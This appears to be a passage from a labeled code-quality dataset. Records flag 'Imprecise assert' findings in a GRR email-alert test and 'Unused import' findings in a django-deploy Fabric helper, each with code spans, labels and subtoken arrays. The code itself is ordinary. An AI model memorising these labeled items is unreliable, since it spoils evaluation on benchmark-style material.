"\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mimetype_", "=_", "ctype_", "._", "split_", "(_", "\";\"_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "indent", " ", "body_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "body_", "=_", "indent_", "(_", "mimetype_", ",_", "response_", "._", "body", "\\u", "string_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "pyg", "ment", "s", " ", "mimetype_", "\\u\\u\\uNL\\u\\u\\u_", "mimetype_", "=_", "pret", "ties_", "._", "get_", "(_", "mimetype_", ",_", "mimetype_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "lexer_", "=_", "get", "\\u", "lexer", "\\u", "for", "\\u", "mimetype_", "(_", "mimetype_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "body_", "=_", "pygments_", "._", "highlight_", "(_", "body_", ",_", "lexer_", ",_", "Termin", "al", "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, 1, 1, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
google/grr/grr/lib/email_alerts_test.py
[ { "content": " def testSendEmail(self):\n # This is already patched out in tests but in this specific test we\n # are interested in the results so we just add another patcher.\n self.smtp_patcher = mock.patch(\"smtplib.SMTP\")\n self.mock_smtp = self.smtp_patcher.start()\n try:\n testdomain = \"test.com\"\n with test_lib.ConfigOverrider({\"Logging.domain\": testdomain}):\n smtp_conn = self.mock_smtp.return_value\n\n # Single fully qualified address\n to_address = \"[email protected]\"\n from_address = \"[email protected]\"\n subject = \"test\"\n message = \"\"\n email_alerts.EMAIL_ALERTER.SendEmail(\n to_address, from_address, subject, message)\n c_from, c_to, msg = smtp_conn.sendmail.call_args[0]\n self.assertEqual(from_address, c_from)\n self.assertEqual([to_address], c_to)\n self.assertFalse(\"CC:\" in msg)\n\n # Single fully qualified address as rdf_standard.DomainEmailAddress\n to_address = rdf_standard.DomainEmailAddress(\"testto@%s\" % testdomain)\n from_address = \"[email protected]\"\n subject = \"test\"\n message = \"\"\n email_alerts.EMAIL_ALERTER.SendEmail(\n to_address, from_address, subject, message)\n c_from, c_to, msg = smtp_conn.sendmail.call_args[0]\n self.assertEqual(from_address, c_from)\n self.assertEqual([to_address], c_to)\n self.assertFalse(\"CC:\" in msg)\n\n # Multiple unqualified to addresses, one cc\n to_address = \"testto,abc,def\"\n to_address_expected = [\n x + testdomain for x in [\"testto@\", \"abc@\", \"def@\"]]\n cc_address = \"testcc\"\n email_alerts.EMAIL_ALERTER.SendEmail(to_address, from_address, subject,\n message, cc_addresses=cc_address)\n c_from, c_to, message = smtp_conn.sendmail.call_args[0]\n self.assertEqual(from_address, c_from)\n self.assertEqual(to_address_expected, c_to)\n self.assertTrue(\"CC: testcc@%s\" % testdomain in message)\n\n # Multiple unqualified to addresses as DomainEmailAddress, one cc\n to_address = [rdf_standard.DomainEmailAddress(\"testto@%s\" % testdomain),\n rdf_standard.DomainEmailAddress(\"abc@%s\" % testdomain),\n rdf_standard.DomainEmailAddress(\"def@%s\" % testdomain)]\n to_address_expected = [\n x + testdomain for x in [\"testto@\", \"abc@\", \"def@\"]]\n cc_address = \"testcc\"\n email_alerts.EMAIL_ALERTER.SendEmail(to_address, from_address, subject,\n message, cc_addresses=cc_address)\n c_from, c_to, message = smtp_conn.sendmail.call_args[0]\n self.assertEqual(from_address, c_from)\n self.assertEqual(to_address_expected, c_to)\n self.assertTrue(\"CC: testcc@%s\" % testdomain in message)\n\n # Multiple unqualified to addresses, two cc, message_id set\n to_address = \"testto,abc,def\"\n to_address_expected = [\n x + testdomain for x in [\"testto@\", \"abc@\", \"def@\"]]\n cc_address = \"testcc,testcc2\"\n email_msg_id = \"123123\"\n email_alerts.EMAIL_ALERTER.SendEmail(\n to_address, from_address, subject, message,\n cc_addresses=cc_address, message_id=email_msg_id)\n c_from, c_to, message = smtp_conn.sendmail.call_args[0]\n self.assertEqual(from_address, c_from)\n self.assertEqual(to_address_expected, c_to)\n self.assertTrue(\"CC: testcc@%s,testcc2@%s\" % (testdomain, testdomain) in\n message)\n self.assertTrue(\"Message-ID: %s\" % email_msg_id)\n\n # Multiple address types, two cc, no default domain\n with test_lib.ConfigOverrider({\"Logging.domain\": None}):\n to_address = [\"testto@localhost\", \"hij\",\n rdf_standard.DomainEmailAddress(\"klm@localhost\")]\n to_address_expected = [\"testto@localhost\", \"hij@localhost\",\n \"klm@localhost\"]\n email_alerts.EMAIL_ALERTER.SendEmail(to_address, from_address, subject,\n message, cc_addresses=cc_address)\n c_from, c_to, message = smtp_conn.sendmail.call_args[0]\n self.assertEqual(from_address, c_from)\n self.assertEqual(to_address_expected, c_to)\n self.assertTrue(\"CC: testcc@%s,testcc2@%s\" % (testdomain, testdomain) in\n message)\n finally:\n self.smtp_patcher.stop()", "metadata": "root.SendEmailTests.testSendEmail", "header": "['class', 'SendEmailTests', '(', 'test_lib', '.', 'GRRBaseTest', ')', ':', '___EOS___']", "index": 24 } ]
[ { "span": "self.assertFalse(\"CC:\" in msg)", "start_line": 44, "start_column": 8, "end_line": 44, "end_column": 38 }, { "span": "self.assertFalse(\"CC:\" in msg)", "start_line": 56, "start_column": 8, "end_line": 56, "end_column": 38 }, { "span": "self.assertTrue(\"CC: testcc@%s\" % testdomain in message)", "start_line": 68, "start_column": 8, "end_line": 68, "end_column": 64 }, { "span": "self.assertTrue(\"CC: testcc@%s\" % testdomain in message)", "start_line": 82, "start_column": 8, "end_line": 82, "end_column": 64 }, { "span": "self.assertTrue(\"CC: testcc@%s,testcc2@%s\" % (testdomain, testdomain) in\n message)", "start_line": 96, "start_column": 8, "end_line": 97, "end_column": 32 }, { "span": "self.assertTrue(\"CC: testcc@%s,testcc2@%s\" % (testdomain, testdomain) in\n message)", "start_line": 111, "start_column": 8, "end_line": 112, "end_column": 32 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Sen", "d", "Ema", "il", "Tests_", "(_", "test\\u", "lib_", "._", "GR", "RB", "ase", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Sen", "d", "Email_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "alr", "ead", "y", " ", "patche", "d", " ", "out", " ", "in", " ", "tests", " ", "but", " ", "in", " ", "this", " ", "specific", " ", "test", " ", "we", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "are", " ", "interest", "ed", " ", "in", " ", "the", " ", "results", " ", "so", " ", "we", " ", "just", " ", "add", " ", "anot", "her", " ", "patche", "r", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "smt", "p", "\\u", "patcher_", "=_", "mock_", "._", "patch_", "(_", "\"", "smt", "pli", "b", ".", "SMT", "P", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "mock", "\\u", "smtp_", "=_", "self_", "._", "smt", "p", "\\u", "patcher_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "testd", "omain", "_", "=_", "\"", "test", ".", "com", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "test\\u", "lib_", "._", "Config", "Override", "r_", "(_", "{_", "\"", "Log", "ging", ".", "domain", "\"_", ":_", "testd", "omain", "_", "}_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "smt", "p", "\\u", "conn_", "=_", "self_", "._", "mock", "\\u", "smtp_", "._", "return", "\\u", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Sing", "le", " ", "full", "y", " ", "qualified", " ", "address_", "\\u\\u\\uNL\\u\\u\\u_", "to", "\\u", "address_", "=_", "\"", "testt", "o", "@", "example", ".", "com", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from", "\\u", "address_", "=_", "\"", "me", "@", "example", ".", "com", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subject_", "=_", "\"", "test", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "message_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "email", "\\u", "alerts_", "._", "EMA", "IL", "\\u", "ALERT", "ER_", "._", "Sen", "d", "Email_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "to", "\\u", "address_", ",_", "from", "\\u", "address_", ",_", "subject_", ",_", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c\\u", "from_", ",_", "c\\u", "to_", ",_", "msg_", "=_", "smt", "p", "\\u", "conn_", "._", "sendmail_", "._", "call", "\\u", "args_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "from", "\\u", "address_", ",_", "c\\u", "from_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "[_", "to", "\\u", "address_", "]_", ",_", "c\\u", "to_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "\"", "CC", ":\"_", "in_", "msg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Sing", "le", " ", "full", "y", " ", "qualified", " ", "address", " ", "as", " ", "rdf", "\\u", "standard", ".", "Doma", "in", "Ema", "il", "Address_", "\\u\\u\\uNL\\u\\u\\u_", "to", "\\u", "address_", "=_", "rdf", "\\u", "standard_", "._", "Doma", "in", "Ema", "il", "Address_", "(_", "\"", "testt", "o", "@", "%", "s", "\"_", "%_", "testd", "omain", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from", "\\u", "address_", "=_", "\"", "me", "@", "example", ".", "com", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subject_", "=_", "\"", "test", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "message_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "email", "\\u", "alerts_", "._", "EMA", "IL", "\\u", "ALERT", "ER_", "._", "Sen", "d", "Email_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "to", "\\u", "address_", ",_", "from", "\\u", "address_", ",_", "subject_", ",_", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c\\u", "from_", ",_", "c\\u", "to_", ",_", "msg_", "=_", "smt", "p", "\\u", "conn_", "._", "sendmail_", "._", "call", "\\u", "args_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "from", "\\u", "address_", ",_", "c\\u", "from_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "[_", "to", "\\u", "address_", "]_", ",_", "c\\u", "to_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "\"", "CC", ":\"_", "in_", "msg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Multipl", "e", " ", "unqu", "ali", "fied", " ", "to", " ", "addresse", "s", ",", " ", "one", " ", "cc_", "\\u\\u\\uNL\\u\\u\\u_", "to", "\\u", "address_", "=_", "\"", "testt", "o", ",", "abc", ",", "def", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "to", "\\u", "address", "\\u", "expected_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "x_", "+_", "testd", "omain", "_", "for_", "x_", "in_", "[_", "\"", "testt", "o", "@\"_", ",_", "\"", "abc", "@\"_", ",_", "\"", "def", "@\"_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cc", "\\u", "address_", "=_", "\"", "testc", "c", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "email", "\\u", "alerts_", "._", "EMA", "IL", "\\u", "ALERT", "ER_", "._", "Sen", "d", "Email_", "(_", "to", "\\u", "address_", ",_", "from", "\\u", "address_", ",_", "subject_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "message_", ",_", "cc", "\\u", "addresses_", "=_", "cc", "\\u", "address_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c\\u", "from_", ",_", "c\\u", "to_", ",_", "message_", "=_", "smt", "p", "\\u", "conn_", "._", "sendmail_", "._", "call", "\\u", "args_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "from", "\\u", "address_", ",_", "c\\u", "from_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "to", "\\u", "address", "\\u", "expected_", ",_", "c\\u", "to_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "CC", ":", " ", "testc", "c", "@", "%", "s", "\"_", "%_", "testd", "omain", "_", "in_", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Multipl", "e", " ", "unqu", "ali", "fied", " ", "to", " ", "addresse", "s", " ", "as", " ", "Doma", "in", "Ema", "il", "Address", ",", " ", "one", " ", "cc_", "\\u\\u\\uNL\\u\\u\\u_", "to", "\\u", "address_", "=_", "[_", "rdf", "\\u", "standard_", "._", "Doma", "in", "Ema", "il", "Address_", "(_", "\"", "testt", "o", "@", "%", "s", "\"_", "%_", "testd", "omain", "_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "rdf", "\\u", "standard_", "._", "Doma", "in", "Ema", "il", "Address_", "(_", "\"", "abc", "@", "%", "s", "\"_", "%_", "testd", "omain", "_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "rdf", "\\u", "standard_", "._", "Doma", "in", "Ema", "il", "Address_", "(_", "\"", "def", "@", "%", "s", "\"_", "%_", "testd", "omain", "_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "to", "\\u", "address", "\\u", "expected_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "x_", "+_", "testd", "omain", "_", "for_", "x_", "in_", "[_", "\"", "testt", "o", "@\"_", ",_", "\"", "abc", "@\"_", ",_", "\"", "def", "@\"_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cc", "\\u", "address_", "=_", "\"", "testc", "c", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "email", "\\u", "alerts_", "._", "EMA", "IL", "\\u", "ALERT", "ER_", "._", "Sen", "d", "Email_", "(_", "to", "\\u", "address_", ",_", "from", "\\u", "address_", ",_", "subject_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "message_", ",_", "cc", "\\u", "addresses_", "=_", "cc", "\\u", "address_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c\\u", "from_", ",_", "c\\u", "to_", ",_", "message_", "=_", "smt", "p", "\\u", "conn_", "._", "sendmail_", "._", "call", "\\u", "args_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "from", "\\u", "address_", ",_", "c\\u", "from_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "to", "\\u", "address", "\\u", "expected_", ",_", "c\\u", "to_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "CC", ":", " ", "testc", "c", "@", "%", "s", "\"_", "%_", "testd", "omain", "_", "in_", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Multipl", "e", " ", "unqu", "ali", "fied", " ", "to", " ", "addresse", "s", ",", " ", "two", " ", "cc", ",", " ", "message", "\\u", "id", " ", "set_", "\\u\\u\\uNL\\u\\u\\u_", "to", "\\u", "address_", "=_", "\"", "testt", "o", ",", "abc", ",", "def", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "to", "\\u", "address", "\\u", "expected_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "x_", "+_", "testd", "omain", "_", "for_", "x_", "in_", "[_", "\"", "testt", "o", "@\"_", ",_", "\"", "abc", "@\"_", ",_", "\"", "def", "@\"_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cc", "\\u", "address_", "=_", "\"", "testc", "c", ",", "testc", "c2", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "email", "\\u", "msg", "\\u", "id_", "=_", "\"", "1231", "23", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "email", "\\u", "alerts_", "._", "EMA", "IL", "\\u", "ALERT", "ER_", "._", "Sen", "d", "Email_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "to", "\\u", "address_", ",_", "from", "\\u", "address_", ",_", "subject_", ",_", "message_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cc", "\\u", "addresses_", "=_", "cc", "\\u", "address_", ",_", "message", "\\u", "id_", "=_", "email", "\\u", "msg", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c\\u", "from_", ",_", "c\\u", "to_", ",_", "message_", "=_", "smt", "p", "\\u", "conn_", "._", "sendmail_", "._", "call", "\\u", "args_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "from", "\\u", "address_", ",_", "c\\u", "from_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "to", "\\u", "address", "\\u", "expected_", ",_", "c\\u", "to_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "CC", ":", " ", "testc", "c", "@", "%", "s", ",", "testc", "c2", "@", "%", "s", "\"_", "%_", "(_", "testd", "omain", "_", ",_", "testd", "omain", "_", ")_", "in_", "\\u\\u\\uNL\\u\\u\\u_", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "Messag", "e-", "ID", ":", " ", "%", "s", "\"_", "%_", "email", "\\u", "msg", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Multipl", "e", " ", "address", " ", "types", ",", " ", "two", " ", "cc", ",", " ", "no", " ", "default", " ", "domain_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "with_", "test\\u", "lib_", "._", "Config", "Override", "r_", "(_", "{_", "\"", "Log", "ging", ".", "domain", "\"_", ":_", "None_", "}_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "to", "\\u", "address_", "=_", "[_", "\"", "testt", "o", "@", "local", "host", "\"_", ",_", "\"", "hij", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "rdf", "\\u", "standard_", "._", "Doma", "in", "Ema", "il", "Address_", "(_", "\"", "kl", "m", "@", "local", "host", "\"_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "to", "\\u", "address", "\\u", "expected_", "=_", "[_", "\"", "testt", "o", "@", "local", "host", "\"_", ",_", "\"", "hij", "@", "local", "host", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "kl", "m", "@", "local", "host", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "email", "\\u", "alerts_", "._", "EMA", "IL", "\\u", "ALERT", "ER_", "._", "Sen", "d", "Email_", "(_", "to", "\\u", "address_", ",_", "from", "\\u", "address_", ",_", "subject_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "message_", ",_", "cc", "\\u", "addresses_", "=_", "cc", "\\u", "address_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c\\u", "from_", ",_", "c\\u", "to_", ",_", "message_", "=_", "smt", "p", "\\u", "conn_", "._", "sendmail_", "._", "call", "\\u", "args_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "from", "\\u", "address_", ",_", "c\\u", "from_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "to", "\\u", "address", "\\u", "expected_", ",_", "c\\u", "to_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "CC", ":", " ", "testc", "c", "@", "%", "s", ",", "testc", "c2", "@", "%", "s", "\"_", "%_", "(_", "testd", "omain", "_", ",_", "testd", "omain", "_", ")_", "in_", "\\u\\u\\uNL\\u\\u\\u_", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
typeish/django-deploy/django_deploy/utils.py
[ { "content": "from django.conf import settings\nfrom django.core.management.base import CommandError\nfrom fabric import state\nfrom fabric.api import cd, env, run\nfrom fabric.network import denormalize, disconnect_all\nimport os.path, time\n\n\nDJANGO_DEPLOY_ROOT = os.path.abspath(os.path.dirname(__file__))\n\nPROJECTS_PATH = \"/srv/www/\"\nVIRTUALENVS_PATH = \"/srv/virtualenvs/\"\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def fab_task(func):\n \"\"\"\n A decorator for django-deploy's management commands.\n\n Wraps the `handle` method of the command to set up the environment\n variables and shut down open connections after it's finished.\n \"\"\"\n def new_func(*args, **kwargs):\n setup_env()\n val = func(*args, **kwargs)\n disconnect_all()\n return val\n return new_func", "metadata": "root.fab_task", "header": "['module', '___EOS___']", "index": 13 }, { "content": "def get_required_val(dictionary, key, err_msg):\n \"\"\"\n Gets a value from the given dictionary, and throws an exception with a\n relevant error message if the value is None.\n \"\"\"\n value = dictionary.get(key, None)\n if value is None:\n raise CommandError(err_msg)\n return value", "metadata": "root.get_required_val", "header": "['module', '___EOS___']", "index": 27 }, { "content": "def manage(command):\n \"\"\"\n Simplifies calling Django management commands.\n \"\"\"\n with cd(env.project_root):\n run(\"workon %s && python manage.py %s\" % (env.project_name, command))", "metadata": "root.manage", "header": "['module', '___EOS___']", "index": 37 }, { "content": "def setup_env():\n deploys = getattr(settings, \"DEPLOYS\", None)\n if not deploys:\n raise CommandError(\"DEPLOYS has not been defined in your project's settings.py file.\")\n\n default = get_required_val(deploys, \"default\", \"A default deployment has not been defined in your project's settings file.\")\n\n domain = get_required_val(default, \"DOMAIN\", \"DOMAIN must be defined for your default deployment.\")\n host = get_required_val(default, \"HOST\", \"HOST must be defined for your default deployment.\")\n name = get_required_val(default, \"NAME\", \"NAME must be defined for your default deployment.\")\n user = get_required_val(default, \"USER\", \"USER must be defined for your default deployment.\")\n\n password = default.get(\"PASSWORD\", None)\n branch = default.get(\"BRANCH\", None) or \"master\"\n\n # Essentials\n env.project_domain = domain\n env.hosts = [ host ]\n env.host_string = host\n env.project_name = name\n env.user = user\n env.password = password\n env.project_branch = branch\n env.deploy_time = run(\"python -c 'import time; print time.strftime(\\\"%Y-%m-%d-%H-%M\\\");'\")\n env.uses_south = \"south\" in settings.INSTALLED_APPS\n\n # Helpers\n env.deploy_root = os.path.join(PROJECTS_PATH, env.project_name)\n env.project_root = os.path.join(PROJECTS_PATH, env.project_name, env.project_name)\n env.virtualenv_dir = os.path.join(VIRTUALENVS_PATH, env.project_name)", "metadata": "root.setup_env", "header": "['module', '___EOS___']", "index": 44 }, { "content": "def script(file_path):\n return os.path.join(DJANGO_DEPLOY_ROOT, \"scripts\", file_path)", "metadata": "root.script", "header": "['module', '___EOS___']", "index": 75 }, { "content": "def template(file_path):\n return os.path.join(DJANGO_DEPLOY_ROOT, \"templates\", file_path)", "metadata": "root.template", "header": "['module', '___EOS___']", "index": 78 } ]
[ { "span": "from fabric import state", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 24 }, { "span": "from fabric.network import denormalize, disconnect_all", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 54 }, { "span": "import os.path, time", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 20 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "django_", "._", "conf_", "import_", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "core_", "._", "management_", "._", "base_", "import_", "Command", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "fabric_", "import_", "state_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "fabric_", "._", "api_", "import_", "cd_", ",_", "env_", ",_", "run_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "fabric_", "._", "network_", "import_", "deno", "rmal", "ize_", ",_", "discon", "nect", "\\u", "all_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "._", "path_", ",_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "DJANGO", "\\u", "DEPLOY", "\\u", "ROOT_", "=_", "os_", "._", "path_", "._", "abspath_", "(_", "os_", "._", "path_", "._", "dirname_", "(_", "\\u\\u", "file\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "PROJECT", "S", "\\u", "PATH_", "=_", "\"/", "srv", "/", "www", "/\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "VIRTUAL", "ENV", "S", "\\u", "PATH_", "=_", "\"/", "srv", "/", "virtualenv", "s", "/\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "fab", "\\u", "task_", "(_", "func_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "decorat", "or", " ", "for", " ", "django", "-", "deploy", "'", "s", " ", "manage", "ment", " ", "command", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Wra", "ps", " ", "the", " ", "`", "handle", "`", " ", "method", " ", "of", " ", "the", " ", "command", " ", "to", " ", "set", " ", "up", " ", "the", " ", "environ", "ment", "\\", "10", ";", " ", " ", " ", " ", "variab", "les", " ", "and", " ", "shut", " ", "down", " ", "open", " ", "connections", " ", "after", " ", "it", "'", "s", " ", "finish", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "new", "\\u", "func_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "setup", "\\u", "env_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "val_", "=_", "func_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "discon", "nect", "\\u", "all_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "val_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "new", "\\u", 